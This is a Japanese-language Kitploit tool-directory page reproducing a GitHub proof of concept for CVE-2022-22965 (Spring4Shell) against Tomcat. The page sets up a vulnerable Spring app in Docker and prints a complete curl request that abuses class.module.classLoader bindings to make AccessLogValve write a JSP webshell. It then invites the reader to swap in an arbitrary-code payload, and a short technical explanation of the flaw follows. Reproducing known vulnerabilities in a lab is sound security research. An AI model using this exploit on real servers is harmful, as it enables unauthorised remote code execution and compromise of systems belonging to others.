Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-22965-PoC | Kitploit
ツール/GitHubGitHub/kirill89/cve-2022-22965-poc
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubkirill89/cve-2022-22965-poc

CVE-2022-22965-PoC

リポジトリを見る
32214年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-22965 PoC

CVE-2022-22965 Spring RCE を再現するための最小限の例です。

docker compose を使用して実行

  1. Docker compose を使用してアプリケーションをビルドします
    root@kitploit:~
    docker-compose up --build
    
  2. アプリをテストするには http://localhost:8080/handling-form-submission-complete/greeting にアクセスします
  3. エクスプロイトを実行します
    root@kitploit:~
    ./exploits/run.sh
    
  4. エクスプロイトは、Webサーバー上の webapps/handling-form-submission-complete に rce.jsp ファイルを作成します。
  5. エクスプロイトを使用します http://localhost:8080/handling-form-submission-complete/rce.jsp にアクセスします

別の方法(デバッグ向け)

  1. Docker で Tomcat サーバーを実行します

    root@kitploit:~
    docker run -p 8888:8080 --rm --interactive --tty --name vm1 tomcat:9.0
    

    リモートデバッグしたい場合は -p 5005:5005 -e "JAVA_OPTS=-Xdebug -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005" を追加します。

  2. プロジェクトをビルドします

    root@kitploit:~
    ./mvnw install
    
  3. アプリをデプロイします

    root@kitploit:~
    docker cp target/handling-form-submission-complete.war vm1:/usr/local/tomcat/webapps
    
  4. エクスプロイトを作成します

    root@kitploit:~
    curl -X POST \
      -H "pre:<%" \
      -H "post:;%>" \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}iSystem.out.println(123)%{post}i' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/handling-form-submission-complete' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
      http://localhost:8888/handling-form-submission-complete/greeting
    

    エクスプロイトは、Webサーバー上の webapps/handling-form-submission-complete に rce.jsp ファイルを作成します。

  5. エクスプロイトを使用します

    root@kitploit:~
    curl http://localhost:8888/handling-form-submission-complete/rce.jsp
    

    コンテナのターミナルに 123 が表示されます。System.out.println(123) を任意のコードを実行するためのペイロードに置き換えてください。

簡単な技術的説明

  1. Spring はフォームフィールドを Java オブジェクトにバインドする方法を知っています。この例では、GreetingController が /greeting エンドポイントへの POST リクエストを処理し、フォームフィールドを Greeting オブジェクトにバインドします。
  2. また、ネストされたフィールド(例: user.info.firstname)のバインドもサポートしています。参考として AbstractNestablePropertyAccessor を参照してください。
  3. この例では、Greeting クラスには id と content の2つのフィールドがありますが、実際には Class オブジェクトへの参照も持っています。フォームデータのキーとして class.module.classLoader を使用すると、クラスローダーにアクセスできます。
  4. 修正 では、主な変更点が module を含む Class オブジェクトのほとんどのプロパティへのアクセスを制限することだったことがわかります。
  5. この動作により、Greeting クラスからネストされた参照チェーンを介してアクセスできるクラスの public プロパティを設定できます。それ以外はできません。ほとんどの場合、class.module.classLoader. からでも public フィールドを持つクラスが利用できないため、危険ですらありません。

条件

このエクスプロイトは、特別なクラスローダーを持つ Tomcat でのみ機能します。同様の参照チェーンは他の Web アプリケーションサーバーにも存在する可能性がありますが、まだ簡単には発見されていません。

このエクスプロイトには Java 9 以上が必要です。module プロパティは Java 9 で追加されたためです。

参考

  • サーバー部分は、https://gist.github.com/esell/c9731a7e2c5404af7716a6810dc33e1a のステップバイステップのマニュアルに基づいています。
  • エクスプロイト部分は、https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py スクリプトに基づいています。
  • この脆弱性に関する Snyk のアドバイザリは、こちらで入手できます: https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORK-2436751
ツールをダウンロード
  • Tomcat サーバーでは問題になります。なぜなら、そこでのクラスローダーには getResources アクセサ があり、参照チェーンを続けて AccessLogValve クラス のインスタンスの1つにアクセスできるからです。
  • このクラスはログを書き込むためのものです。いくつかのプロパティを変更して、任意の名前と内容のファイルを書き込ませます。この時点で任意のファイル書き込みが可能になります。
  • 悪意のあるペイロードを含む jsp ファイルをアプリケーションフォルダのルートに作成します。jsp は Tomcat によって自動的に実行されるため、ブラウザでアクセスして最終的にペイロードを実行できます。これで RCE になります。